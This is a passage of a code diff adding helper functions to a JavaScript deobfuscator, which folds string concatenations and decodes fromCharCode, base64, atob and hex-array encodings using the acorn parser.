|
|
253
|
+
VariableDeclarator(node) {
|
|
254
|
+
// Skip the declaration name itself
|
|
255
|
+
if (node.id?.type === 'Identifier') {
|
|
256
|
+
propPositions.add(node.id.start);
|
|
257
|
+
}
|
|
258
|
+
}
|
|
259
|
+
});
|
|
260
|
+
|
|
261
|
+
const validReplacements = replacements.filter(r => !propPositions.has(r.start));
|
|
262
|
+
|
|
263
|
+
if (validReplacements.length === 0) {
|
|
264
|
+
return { code: sourceCode, transforms };
|
|
265
|
+
}
|
|
266
|
+
|
|
267
|
+
// Apply replacements from end to start
|
|
268
|
+
validReplacements.sort((a, b) => b.start - a.start);
|
|
269
|
+
let code = sourceCode;
|
|
270
|
+
for (const r of validReplacements) {
|
|
271
|
+
code = code.slice(0, r.start) + r.value + code.slice(r.end);
|
|
272
|
+
transforms.push({
|
|
273
|
+
type: r.type,
|
|
274
|
+
start: r.start,
|
|
275
|
+
end: r.end,
|
|
276
|
+
before: r.before,
|
|
277
|
+
after: r.value
|
|
278
|
+
});
|
|
279
|
+
}
|
|
280
|
+
|
|
281
|
+
// Now re-run concat folding on the propagated code
|
|
282
|
+
const phase3 = foldConcatsOnly(code);
|
|
283
|
+
if (phase3.transforms.length > 0) {
|
|
284
|
+
code = phase3.code;
|
|
285
|
+
transforms.push(...phase3.transforms);
|
|
286
|
+
}
|
|
287
|
+
|
|
288
|
+
transforms.reverse();
|
|
289
|
+
return { code, transforms };
|
|
290
|
+
}
|
|
291
|
+
|
|
292
|
+
/**
|
|
293
|
+
* Run only string concat folding on code (phase 3 after const propagation).
|
|
294
|
+
*/
|
|
295
|
+
function foldConcatsOnly(sourceCode) {
|
|
296
|
+
const transforms = [];
|
|
297
|
+
let ast;
|
|
298
|
+
try {
|
|
299
|
+
ast = acorn.parse(sourceCode, {
|
|
300
|
+
ecmaVersion: 2024,
|
|
301
|
+
sourceType: 'module',
|
|
302
|
+
allowHashBang: true,
|
|
303
|
+
ranges: true
|
|
304
|
+
});
|
|
305
|
+
} catch {
|
|
306
|
+
return { code: sourceCode, transforms };
|
|
307
|
+
}
|
|
308
|
+
|
|
309
|
+
const replacements = [];
|
|
310
|
+
walk.simple(ast, {
|
|
311
|
+
BinaryExpression(node) {
|
|
312
|
+
if (node.operator !== '+') return;
|
|
313
|
+
const folded = tryFoldConcat(node);
|
|
314
|
+
if (folded === null) return;
|
|
315
|
+
const before = sourceCode.slice(node.start, node.end);
|
|
316
|
+
const after = quoteString(folded);
|
|
317
|
+
replacements.push({ start: node.start, end: node.end, value: after, type: 'string_concat', before });
|
|
318
|
+
}
|
|
319
|
+
});
|
|
320
|
+
|
|
321
|
+
// De-duplicate overlapping
|
|
322
|
+
replacements.sort((a, b) => a.start - b.start || b.end - a.end);
|
|
323
|
+
const filtered = [];
|
|
324
|
+
let lastEnd = -1;
|
|
325
|
+
for (const r of replacements) {
|
|
326
|
+
if (r.start < lastEnd) continue;
|
|
327
|
+
filtered.push(r);
|
|
328
|
+
lastEnd = r.end;
|
|
329
|
+
}
|
|
330
|
+
|
|
331
|
+
filtered.sort((a, b) => b.start - a.start);
|
|
332
|
+
let code = sourceCode;
|
|
333
|
+
for (const r of filtered) {
|
|
334
|
+
code = code.slice(0, r.start) + r.value + code.slice(r.end);
|
|
335
|
+
transforms.push({ type: r.type, start: r.start, end: r.end, before: r.before, after: r.value });
|
|
336
|
+
}
|
|
337
|
+
|
|
338
|
+
return { code, transforms };
|
|
339
|
+
}
|
|
340
|
+
|
|
341
|
+
// ============================================================
|
|
342
|
+
// HELPERS
|
|
343
|
+
// ============================================================
|
|
344
|
+
|
|
345
|
+
/**
|
|
346
|
+
* Recursively fold string concat BinaryExpression.
|
|
347
|
+
* Returns the concatenated string, or null if any part is not a string literal.
|
|
348
|
+
*/
|
|
349
|
+
function tryFoldConcat(node) {
|
|
350
|
+
if (node.type === 'Literal' && typeof node.value === 'string') {
|
|
351
|
+
return node.value;
|
|
352
|
+
}
|
|
353
|
+
if (node.type === 'BinaryExpression' && node.operator === '+') {
|
|
354
|
+
const left = tryFoldConcat(node.left);
|
|
355
|
+
if (left === null) return null;
|
|
356
|
+
const right = tryFoldConcat(node.right);
|
|
357
|
+
if (right === null) return null;
|
|
358
|
+
return left + right;
|
|
359
|
+
}
|
|
360
|
+
return null;
|
|
361
|
+
}
|
|
362
|
+
|
|
363
|
+
/**
|
|
364
|
+
* Check if node is String.fromCharCode(...)
|
|
365
|
+
*/
|
|
366
|
+
function isStringFromCharCode(node) {
|
|
367
|
+
if (node.type !== 'CallExpression') return false;
|
|
368
|
+
const c = node.callee;
|
|
369
|
+
if (c.type !== 'MemberExpression') return false;
|
|
370
|
+
// String.fromCharCode
|
|
371
|
+
if (c.object?.type === 'Identifier' && c.object.name === 'String' &&
|
|
372
|
+
c.property?.type === 'Identifier' && c.property.name === 'fromCharCode') {
|
|
373
|
+
return true;
|
|
374
|
+
}
|
|
375
|
+
return false;
|
|
376
|
+
}
|
|
377
|
+
|
|
378
|
+
/**
|
|
379
|
+
* Extract numeric arguments from a call (handles direct numbers and spread of array).
|
|
380
|
+
* Returns array of numbers, or null if any argument is non-numeric.
|
|
381
|
+
*/
|
|
382
|
+
function extractNumericArgs(node) {
|
|
383
|
+
const nums = [];
|
|
384
|
+
for (const arg of node.arguments) {
|
|
385
|
+
if (arg.type === 'SpreadElement' && arg.argument?.type === 'ArrayExpression') {
|
|
386
|
+
for (const el of arg.argument.elements) {
|
|
387
|
+
if (el?.type === 'Literal' && typeof el.value === 'number') {
|
|
388
|
+
nums.push(el.value);
|
|
389
|
+
} else {
|
|
390
|
+
return null; // non-numeric — abort
|
|
391
|
+
}
|
|
392
|
+
}
|
|
393
|
+
} else if (arg.type === 'Literal' && typeof arg.value === 'number') {
|
|
394
|
+
nums.push(arg.value);
|
|
395
|
+
} else {
|
|
396
|
+
return null; // non-numeric argument (variable, expression) — abort
|
|
397
|
+
}
|
|
398
|
+
}
|
|
399
|
+
return nums.length > 0 ? nums : null;
|
|
400
|
+
}
|
|
401
|
+
|
|
402
|
+
/**
|
|
403
|
+
* Check if node is Buffer.from('...', 'base64').toString()
|
|
404
|
+
*/
|
|
405
|
+
function isBufferBase64ToString(node) {
|
|
406
|
+
if (node.type !== 'CallExpression') return false;
|
|
407
|
+
const callee = node.callee;
|
|
408
|
+
// .toString() call
|
|
409
|
+
if (callee.type !== 'MemberExpression') return false;
|
|
410
|
+
if (callee.property?.type !== 'Identifier' || callee.property.name !== 'toString') return false;
|
|
411
|
+
// The object is Buffer.from(str, 'base64')
|
|
412
|
+
const inner = callee.object;
|
|
413
|
+
if (inner?.type !== 'CallExpression') return false;
|
|
414
|
+
const innerCallee = inner.callee;
|
|
415
|
+
if (innerCallee?.type !== 'MemberExpression') return false;
|
|
416
|
+
if (innerCallee.object?.type !== 'Identifier' || innerCallee.object.name !== 'Buffer') return false;
|
|
417
|
+
if (innerCallee.property?.type !== 'Identifier' || innerCallee.property.name !== 'from') return false;
|
|
418
|
+
// Args: (string, 'base64')
|
|
419
|
+
if (inner.arguments.length < 2) return false;
|
|
420
|
+
if (inner.arguments[1]?.type !== 'Literal' || inner.arguments[1].value !== 'base64') return false;
|
|
421
|
+
if (inner.arguments[0]?.type !== 'Literal' || typeof inner.arguments[0].value !== 'string') return false;
|
|
422
|
+
return true;
|
|
423
|
+
}
|
|
424
|
+
|
|
425
|
+
/**
|
|
426
|
+
* Extract the base64 string argument from Buffer.from(str, 'base64').toString()
|
|
427
|
+
*/
|
|
428
|
+
function extractBufferBase64Arg(node) {
|
|
429
|
+
const inner = node.callee.object;
|
|
430
|
+
return inner.arguments[0].value;
|
|
431
|
+
}
|
|
432
|
+
|
|
433
|
+
/**
|
|
434
|
+
* Check if node is atob('...')
|
|
435
|
+
*/
|
|
436
|
+
function isAtobCall(node) {
|
|
437
|
+
if (node.type !== 'CallExpression') return false;
|
|
438
|
+
if (node.callee?.type !== 'Identifier' || node.callee.name !== 'atob') return false;
|
|
439
|
+
if (node.arguments.length !== 1) return false;
|
|
440
|
+
if (node.arguments[0]?.type !== 'Literal' || typeof node.arguments[0].value !== 'string') return false;
|
|
441
|
+
return true;
|
|
442
|
+
}
|
|
443
|
+
|
|
444
|
+
/**
|
|
445
|
+
* Try to resolve [0x63, ...].map(c => String.fromCharCode(c)).join('')
|
|
446
|
+
* Returns a replacement object or null.
|
|
447
|
+
*/
|
|
448
|
+
function tryResolveHexArrayMap(node, source) {
|
|
449
|
+
// Pattern: <expr>.join('') where <expr> is <array>.map(<fn>)
|
|
450
|
+
// node is the .join('') call
|
|
451
|
+
if (node.type !== 'CallExpression') return null;
|
|
452
|
+
const callee = node.callee;
|
|
453
|
+
if (callee?.type !== 'MemberExpression') return null;
|
|
454
|
+
if (callee.property?.type !== 'Identifier' || callee.property.name !== 'join') return null;
|
|
455
|
+
// Verify .join('') or .join("")
|
|
456
|
+
if (node.arguments.length !== 1) return null;
|
|
457
|
+
if (node.arguments[0]?.type !== 'Literal' || node.arguments[0].value !== '') return null;
|
|
458
|
+
|
|
459
|
+
// The object of .join should be a .map(...) call
|
|
460
|
+
const mapCall = callee.object;
|
|
461
|
+
if (mapCall?.type !== 'CallExpression') return null;
|
|
462
|
+
if (mapCall.callee?.type !== 'MemberExpression') return null;
|
|
463
|
+
if (mapCall.callee.property?.type !== 'Identifier' || mapCall.callee.property.name !== 'map') return null;
|
|
464
|
+
|
|
465
|
+
// The map callback should reference String.fromCharCode
|
|
466
|
+
if (mapCall.arguments.length < 1) return null;
|
|
467
|
+
const mapFn = mapCall.arguments[0];
|
|
468
|
+
if (!containsFromCharCode(mapFn)) return null;
|
|
469
|
+
|
|
470
|
+
// The object of .map should be an ArrayExpression of numbers
|
|
471
|
+
const arr = mapCall.callee.object;
|
|
472
|
+
if (arr?.type !== 'ArrayExpression') return null;
|
|
473
|
+
const nums = [];
|
|
474
|
+
for (const el of arr.elements) {
|
|
475
|
+
if (el?.type === 'Literal' && typeof el.value === 'number') {
|
|
476
|
+
nums.push(el.value);
|
|
477
|
+
} else {
|
|
478
|
+
return null; // non-numeric element — abort
|
|
479
|
+
}
|
|
480
|
+
}
|
|
481
|
+
if (nums.length === 0) return null;
|
|
482
|
+
|
|
483
|
+
try {
|
|
484
|
+
const decoded = String.fromCharCode(...nums);
|
|
485
|
+
const before = source.slice(node.start, node.end);
|
|
486
|
+
return {
|
|
487
|
+
start: node.start,
|
|
488
|
+
end: node.end,
|
|
489
|
+
value: quoteString(decoded),
|
|
490
|
+
type: 'hex_array',
|
|
491
|
+
before
|
|
492
|
+
};
|
|
493
|
+
} catch {
|
|
494
|
+
return null;
|
|
495
|
+
}
|
|
496
|
+
}
|
|
497
|
+
|
|
498
|
+
/**
|
|
499
|
+
* Check if an AST node (a function/arrow function) contains a reference to String.fromCharCode.
|
|
500
|
+
*/
|
|
501
|
+
function containsFromCharCode(node) {
|
|
502
|
+
if (!node || typeof node !== 'object') return false;
|
|
503
|
+
|
|
504
|
+
// Direct check on this node
|
|
505
|
+
if (node.type === 'MemberExpression' &&
|
|
506
|
+
node.object?.type === 'Identifier' && node.object.name === 'String' &&
|
|
507
|
+
node.property?.type === 'Identifier' && node.property.name === 'fromCharCode') {
|
|
508
|
+
return true;
|
|
509
|
+
}
|
|
510
|
+
|
|
511
|
+
// Recurse into child nodes
|
|
512
|
+
for (const key of Object.keys(node)) {
|
|
513
|
+
if (key === 'type' || key === 'start' || key === 'end' || key === 'range') continue;
|
|
514
|
+
const child = node[key];
|
|
515
|
+
if (Array.isArray(child)) {
|
|
516
|
+
for (const c of child) {
|
|
517
|
+
if (c && typeof c === 'object' && containsFromCharCode(c)) return true;
|
|
518
|
+
}
|
|
519
|
+
} else if (child && typeof child === 'object' && child.type) {
|
|
520
|
+
if (containsFromCharCode(child)) return true;
|
|
521
|
+
}
|
|
522
|
+
}
|
|
523
|
+
return false;
|
|
524
|
+
}
|
|
525
|
+
|
|
526
|
+
/**
|
|
527
|
+
* Quote a string value as a JS single-quoted string literal.
|
|
528
|
+
*/
|
|
529
|
+
function quoteString(str) {
|
|
530
|
+
const escaped = str
|
|
531
|
+
.replace(/\\/g, '\\\\')
|
|
532
|
+
.replace(/'/g, "\\'")
|
|
533
|
+
.replace(/\n/g, '\\n')
|
|
534
|
+
.replace(/\r/g, '\\r')
|
|
535
|
+
.replace(/\t/g, '\\t');
|
|
536
|
+
return `'${escaped}'`;
|
|
537
|
+
}
|
|
538
|
+
|
|
539
|
+
/**
|
|
540
|
+
* Check if a decoded string is "printable" (no control chars except whitespace).
|
|
541
|
+
* Prevents replacing base64 that decodes to binary garbage.
|
|
542
|
+
*/
|
|
543
|
+
function isPrintable(str) {
|
|
544
|
+
// Allow printable ASCII + common unicode + whitespace
|
|
545
|
+
// Reject if more than 20% of chars are control characters
|
|
546
|
+
let controlCount = 0;
|
|
547
|
+
for (let i = 0; i < str.length; i++) {
|
|
548
|
+
const code = str.charCodeAt(i);
|
|
549
|
+
if (code < 32 && code !== 9 && code !== 10 && code !== 13) {
|
|
550
|
+
controlCount++;
|
|
551
|
+
}
|
|
552
|
+
}
|
|
553
|
+
if (str.length === 0) return false;
|
|
554
|
+
return (controlCount / str.length) < 0.2;
|
|
555
|
+
}
|
|
556
|
+
|
|
557
|
+
module.exports = { deobfuscate };
|